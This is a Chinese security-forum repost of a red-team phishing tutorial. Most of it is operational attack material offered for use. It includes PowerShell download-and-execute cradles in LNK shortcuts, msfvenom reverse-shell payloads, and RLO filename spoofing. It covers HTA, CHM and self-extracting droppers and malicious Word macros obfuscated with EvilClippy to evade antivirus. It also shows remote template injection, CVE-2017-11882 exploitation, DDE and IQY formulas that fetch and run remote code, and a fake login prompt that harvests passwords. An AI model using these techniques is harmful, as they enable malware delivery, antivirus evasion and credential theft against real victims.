安全矩阵

 找回密码
 立即注册
搜索
查看: 2529|回复: 0

HVV中红蓝对抗钓鱼篇之从入门到放弃

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-8 23:58:20 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-9 00:04 编辑

HVV中红蓝对抗钓鱼篇之从入门到放弃
yanmie Hacking黑白红

2022-04-07 09:00

文章来源:FreeBuf企业安全
转载自:https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247513604&idx=2&sn=b803978055fb3dc7e23c738d5f307d2d&chksm=ce641c9df913958bf858e82fff1c79c222a0aa98feecea690d1583facc7993787079c77d912e&mpshare=1&scene=23&srcid=0408KmuQGSJaX8KvM7QwdJid&sharer_sharetime=1649426889663&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd


在大型企业边界安全做的越来越好的情况下,不管是APT攻击还是红蓝对抗演练,钓鱼和水坑攻击被越来越多地应用。
钓鱼往往需要免杀技术的支撑,但本章只讲述钓鱼和些许免杀技术,免杀系列学习在后续讲解。

一、钓鱼小技巧

1.1 LNK 快捷方式

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。
cs演示:


得到
  1. powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.158:80/a'))"
复制代码

然后新建快捷方式,将上述语句填入



下一步,然后自己命名一下,点击完成。

当受害者双击之后就会自动执行我们的恶意payload,从目标网站下载并执行。

最终被得到 shell。

也可以使用msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。
  1. msfvenom-pwindows/meterpreter/reverse_tcplhost=vpsiplport=1234-fmsi>shell.txt
  2. c:\windows\system32\msiexec.exe/q/ihttp://xxx/shell.txt
复制代码

1.2 文件名反转

RLO,即Right-to-Left Override,我们可以在⽂件名中插⼊此类unicode字符,来达到⽂件名反转的效果。
以cmd.exe来举例,
将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键,看图操作

ok,此时已经变成了 以 jpg 结尾的了。但是双击运行还是 exe 格式运行的。

再利用ResourceHacker修改图标。
找个小姐姐图片转换为 ico 格式。
  1. http://www.bitbug.net/
复制代码



如图,双击实际上还是运行的cmd。
1.3 HTA

HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件,本身就是html应用程序,
双击就能运行,却比普通网页权限大得多,它具有桌面程序的所有权限。

制作:利用 cs

attacks——>packages——>HTML application

选择powershell 生成。

1.4 CHM
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
制作CHM需要用到一个工具 EasyCHM(http://www.etextwizard.com/
CHM制作过程:创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。

将下列代码放入index.html:​​​​​​​
  1. <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
  2. command exec
  3. <OBJECTid=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1height=1>
  4. <PARAMname="Command"value="ShortCut">
  5. <PARAMname="Button"value="Bitmap::shortcut">
  6. <PARAMname="Item1"value=',calc.exe'>
  7. <PARAMname="Item2"value="273,1,1">
  8. </OBJECT>
  9. <SCRIPT>
  10. x.Click();
  11. </SCRIPT>
  12. </body></html>
复制代码

打开EasyCHM工具
后点击新建然后导入自己创建的文件夹,点击确定后再点击编译,在弹出的对话框中点击生成CHM按钮,会你生成一个CHM文件。

点击之后就会弹出calc.exe
当然我们也可以换成其他的,比如说 powershell payload。直接上线。
1.5 自解压

直接上操作。
flash安装软件+cs生成的后门来演示。
选中需要压缩的软件,右键添加到压缩软件,
点击创建自解压格式压缩文件

点击 高级-→ 自解压选项

填入解压路径, 绝对路劲,(C:\Windows\Temp 文件夹windows电脑都有)

点击设置--------提取后运行

点击模式,静默模式, 全部隐藏

点击更新,设置
  1. 更新方式----解压并更新文件覆盖方式----覆盖所有文件
复制代码



确定,出去可以文件名改的像一点。

最后点击确定。生成自解压文件,

图标有点不太对劲,使用 Restorator 把flash图标抠下来,在弄到生成的自解压文件。
具体操作就不写了,直接看结果。

1.6 捆绑文件

K8免杀系统自带捆绑器加强版V2.0.EXE
超级文件捆绑器

生成,执行之后会执行cmd.exe一样的效果,但此时后门软件也被执行了。

二、Office钓鱼
  1. WIN7

  2. Office 2016

  3. MSF

  4. CS
复制代码

2.1 基础知识

宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,
目的是让用户文档中的一些任务自动化。现在Office的宏功能已经默认是禁用。

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。
主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本。

常用的套路使对方开启宏,
文档是被保护状态,需要启用宏才能查看;
添加一张模糊的图片,提示需要启用宏才能查看高清图片;
提示要查看文档,按给出的一系列步骤操作;
贴一张某杀毒软件的Logo图片,暗示文档被安全软件保护。
推片来源 https://mp.weixin.qq.com/s/YKZ6yWWxOhn2KjTV5lDP7w
2.2 Word宏钓鱼

CS生成宏

打开Word文档,点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定” 。

编写主体内容后,点击 “开发工具 — Visual Basic”,双击 “ThisDocument” ,将原有内容全部清空,然后将宏payload全部粘贴进去,保存并关闭该 VBA 编辑器 。

另存为的Word类型务必要选”Word 97-2003 文档 (*.doc)”,即 doc 文件,保证低版本可以打开。之后关闭,再打开即可执行宏代码。

默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知。

点击启用内容,CS即上线

MSF生成宏
  1. msfvenom -pwindows/meterpreter/reverse_tcp LHOST=192.168.2.148 LPORT=4444-fvba -ovba.txt
复制代码


上线不稳定。
2.3 宏免杀Evil Clippy

https://github.com/outflanknl/EvilClippy/releases]https://github.com/outflanknl/EvilClippy/releases

windwos安装:
在Visual Studio开发者命令行窗口中输入下列命令:
  1. csc/reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll/out:EvilClippy.exe*.cs
复制代码


运行成功,生成exe程序。
  1. Usage:eviloffice.exe[OPTIONS]+filenameAuthor:StanHegtEmail:stan@outflank.nlOptions:-n,--name=VALUEThetargetmodulenametostomp.Thisargumentcanberepeated.-s,--sourcefile=VALUEFilecontainingsubstitutionVBAcode(fakecode).-g,--guihideHidecodefromVBAeditorGUI.--gg,--guiunhideUnhidecodefromVBAeditorGUI.-t,--targetversion=VALUETargetMSOfficeversionthepcodewillrunon.-w,--webserver=VALUEStartwebserveronspecifiedporttoservemalicioustemplate.-d,--delmetadataRemovemetadatastream(mayincludeyournameetc.).-r,--randomnamesSetrandommodulenames,confusessomeanalysttools.--rr,--resetmodulenamesUndothesetrandommodulenamesbymakingtheASCIImodulenamesintheDIRstreammatchtheirUnicodecounterparts-u,--unviewableVBAMakeVBAProjectunviewable/locked.--uu,--viewableVBAMakeVBAProjectviewable/unlocked.-v         Increasedebugmessageverbosity.-h,--help Showthismessageandexit.
复制代码


没做任何处理之前,VT查杀 39/61

从GUI隐藏/取消隐藏宏VT查杀 37/60

在VBA GUI编辑器中隐藏所有宏模块(默认的“ ThisDocument”模块除外)。这是通过从项目流[MS-OVBA 2.3.1]中删除模块行来实现的。
  1. EvilClippy.exe -g macrofile.doc
复制代码


撤消由hide选项(-g)完成的更改,以便我们可以在VBA IDE中调试宏。
  1. EvilClippy.exe -gg macrofile.doc
复制代码




Stomp VBA(滥用P代码)VT 查杀 12/60 效果很好,过火绒

将来自文本文件fakecode.vba的虚假VBA代码放在所有模块中,同时保持P代码不变。这滥用了模块流[MS-OVBA 2.3.4.3]的未记录功能。
请注意,VBA项目版本必须与主机程序匹配才能执行P代码
  1. EvilClippy.exe -s 1.vba macrofile.doc
复制代码


参数说明:-s 参数是通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常 无毒正常的 vba 脚本
注意:VBA重踏不适用于以Excel 97-2003工作簿(.xls)格式保存的文件
  1. Sub Hello()Dim XX=MsgBox("Hello VBS")
复制代码




效果比较好,并且可以成功上线,

多参数混合使用:
EvilClippy.exe-s1.vba-g-rhello.docVT查杀12/61
其余更多请看这里
https://github.com/outflanknl/EvilClippy
其他免杀方法:
http://www.h0r2yc.com/2019/08/01/office%E5%AE%8F%E6%94%BB%E5%87%BB%E5%8F%8A%E5%85%8D%E6%9D%80/
https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-hong/

2.4 远程模板注入宏代码

利用Word文档加载附加模板时的缺陷所发起的恶意请求,而达到的攻击目的,所以当目标用户点开攻击者发送的恶意Word文档
就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。
发送的文档本身不带恶意代码,所以能过很多静态检测。只需要在远程DOTM文档中编写宏病毒或者木马即可。
思路:
编写一个带有宏代码的DOTM文档,上传服务器
编写一个能够远程连接的DOCX文档
将该文档压缩找到并更改settings.xml.rels文件中的内容,将其中的target内容修改为服务器上DOTM文档的URL
将DOCX解压后的内容再以存储模式压缩为ZIP
修改后缀名为DOCX,打开后即可实现远程注入宏文档
按照上述Word宏钓鱼方法制作,保存时保存类型为 dotm , fish.dotm,
开启Web服务,放在其目录下,
  1. http://192.168.2.148:8000/hello.doc
复制代码


制作 docx
直接下载份简历

将下载的简历文件后缀 docx 改为 zip,解压.

将 target 内容改为[http://192.168.2.148:8000/hello.doc](http://192.168.2.148:8000/hello.doc),之后
全选目录所有文件,邮件压缩问 yanmie.zip。

之后再把zip 后缀改为 docx即可。
靶机打开,启用宏,可上线。

2.5 CVE-2017-11882适用于:
  1. MicrosoftOffice 2000MicrosoftOffice 2003MicrosoftOffice 2007 Service Pack 3MicrosoftOffice 2010 Service Pack 2MicrosoftOffice 2013 Service Pack 1MicrosoftOffice 2016MicrosoftOffice 365
复制代码


Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,
通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

GitHub:
[url=https://github.com/Ridter/CVE-2017-11882]https://github.com/Ridter/CVE-2017-11882[/url]

使用:
  1. python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc
复制代码


生成 test.doc 文档,靶机打开。成功弹出加算器

msf 复现。
项目
https://github.com/0x09AL/CVE-2017-11882-metasploit

  1. exploit/windows/fileformat/office_ms17_11882
复制代码

有点不稳,老是上线不了

配合 HTA上线​​​​​​​
  1. exploit/windows/misc/hta_server
  2. http://192.168.2.148:8080/IbsbCdtZ.ht
复制代码


靶机打开test2.doc直接上线

2.5 word 中插入外部对象(OLE)方式欺骗

改变题注,更加逼真


双击,选择确定,即可上线。

2.6 构造DDE钓鱼文档

创建一个文档 dde.docx ,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中
添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。
  1. DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"
复制代码




成功弹出计算器。
这里用ps远程下载马。

输入
  1. DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"
复制代码



点击是-→ 是-→确认 后即上线。
2.7 IQY特性钓鱼
利用nishang下的Out-WebQuery.ps1, 脚本生成包含恶意 payload url 的 iqy 文件。
可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’(不能加载脚本),通过IQY【即web查询】语句,
可以直接将各类web上的列表数据轻松引入到当前的excel中,而正是因为这样,从而给了我们利用excel制作钓鱼邮件的机会,
假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码,那结果就不言而喻了。
利用过程:
新建一个excel文件,找到”数据”→”自网站”→”地址”,填写要抓取数据的网站url,选中想抓取数据的表单

点击导入

点击确定,即可成功导入

接下来利用IYQ打开计算机来看看效果
在我们自己的服务器的网站目录下放一个payload.html文件,内容是IYQ代码
  1. =cmd|'/c calc.exe '!A0
复制代码


接下来就是按照之前的方法,来拉取我们自己服务器上的payload文件

导入


点击是,即可弹出计算器

将文件保存,放在靶机打开

点击启用内容,继续点击是,即可弹出计算器。

其他方式​​​​​​​
  1. regsv***
  2. =cmd|'/c regsv*** /s /n /u /i:http://ip/D4zv0M.sct scrobj.dll '!A0
  3. bitsadmin
  4. =cmd|'/c bitsadmin /transfer e822 http://ip/iqy %APPDATA%\e822.exe&%APPDATA%\e822.exe&del %APPDATA%\e822.exe '!A0
  5. mshta
  6. =cmd|'/c mshta http://ip/iqy.hta '!A0
复制代码

接下来进行弹shell操作
用到的工具:

nishang:https://github.com/samratashok/nishang/releases

先在kali准备好payload:
  1. exploit/multi/script/web_delivery
复制代码



用nishang中提供好的Out-WebQuery脚本来生成iqy文件

iqy文件本身的内容很简单,只有一个包含恶意payload的url:http://192.168.2.148/msf.html,关键也就在这个 html,我们需要把 html 的内容
换成加载我们上面准备好的 meterpreter payload 的 iqy 语句 :regsv* /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sctscrobj.dll

然后利用nishang-master\Client\Out-WebQuery.ps1,生成文件
  1. powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.148:8000/msf.html}"
复制代码



命令成功执行后,会生成一个iqy文件
接下来,打开Web服务目录,创建msf.html,内容为刚刚msf生成的paylaod
  1. =cmd|'/c regsv*** /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sct scrobj.dll '!A0
复制代码


接下来就可以想办法把之前生成的iqy文件发送给受害者。
当受害者双击打开时,默认会用Excel打开,弹出警告,点击启用

因为前面的iqy文件是用cmd执行的,所以会继续询问是否启动另一个应用程序,CMD.EXE.

点击是,正常情况下监听的msf会生成一个会话。
借助IQY窃取目标用户密码
  1. powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.1}"
复制代码
  1. powershell-execbypasscd.\UtilityImport-Module.\Start-CaptureServer.ps1Start-CaptureServer-AuthTypeBasic-IPAddress192.168..2.1-LogFilePathC:\windows\temp\log.txt# 注意此处的认证要选择基础认证,监听的 ip 和上面生成 iqy 文件中的 ip 一致,通常都是本机 i
复制代码

之后把上一步生成的 IQY文件发给靶机,打开


此认证窗口会连续出现三次,相信三次里面总有一个能用的账号密码,因为目标可能也压根搞不清楚这是什么东西,以为是
系统的账号密码,就随便输,其实我们主要还是想利用这种方式钓到可用的 owa 或者 v*n 账号密码

2.8 PPT 动作按钮特性构造 PPSX钓鱼新型PPT钓鱼攻击分析
首先,创建一个普通的PPTX文件,随便填入一些内容,如下图:

这里要选择空白的那个,选择以后,在页面中拉出一个触发位置,之后会弹出动作设置的界面,选择鼠标悬停-→ 运行程序
msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

2.9 超链接

在PDF、Office文档中内嵌一个跳转链接是很早期的钓鱼方式,通过文字信息的引导,让受害者点开页面,如果缺乏戒心,
就可能会获取到受害者的账号、密码、银行卡、身份证等信息。

三、邮件钓鱼
邮件服务器相关环境搭建,邮件信息收集请见
https://www.freebuf.com/articles/web/260391.html
涵盖伪造(SRC假漏洞、简历、宏文档、合作利诱、技术交流、钓鱼网站、第三方平台)、伪造发件人、office 宏钓鱼、exe引诱。
四、flash钓鱼
选择域名:http://www.f1ash.cn/
源码:https://github.com/r00tSe7en/Fake-flash.cn
自解压或者捆绑 配合 xss .
详细步骤见 1.6 .


五、网站钓鱼
制作钓鱼网站,克隆网站
cs,msf都有这个功能
setoolkit

侵权,私聊删除。
渗透实战系列
【渗透实战系列】|43-某次通用型漏洞挖掘思路分享
【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
【渗透实战系列】|41-记一次色*情app渗透测试
【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|39-BC渗透的常见切入点(总结)
【渗透实战系列】|38-对某色情直播渗透
【渗透实战系列】|37-6年级小学生把学校的网站给搞了!
【渗透实战系列】|36-一次bc推广渗透实战
【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链
【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
【渗透实战系列】|31-记一次对学校的渗透测试
【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
【渗透实战系列】|29-实战|对某勒索APP的Getshell
【渗透实战系列】|28-我是如何拿下BC站的服务器
【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
【渗透实战系列】|26一记某cms审计过程(步骤详细)
【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
【渗透实战系列】|23-某菠菜网站渗透实战
【渗透实战系列】|22-渗透系列之打击彩票站
【渗透实战系列】|21一次理财杀猪盘渗透测试案例
【渗透实战系列】|20-渗透直播网站
【渗透实战系列】|19-杀猪盘渗透测试
【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
【渗透实战系列】|17-巧用fofa对目标网站进行getshell
【渗透实战系列】|16-裸聊APP渗透测试
【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试
【渗透实战系列】|13-waf绕过拿下赌博网站
【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
【渗透实战系列】|11 - 赌博站人人得而诛之
【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例
【渗透实战系列】|6- BC杀猪盘渗透一条龙
【渗透实战系列】|5-记一次内衣网站渗透测试
【渗透实战系列】|4-看我如何拿下BC站的服务器
【渗透实战系列】|3-一次简单的渗透
【渗透实战系列】|2-记一次后门爆破到提权实战案例
【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:40 , Processed in 0.018225 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表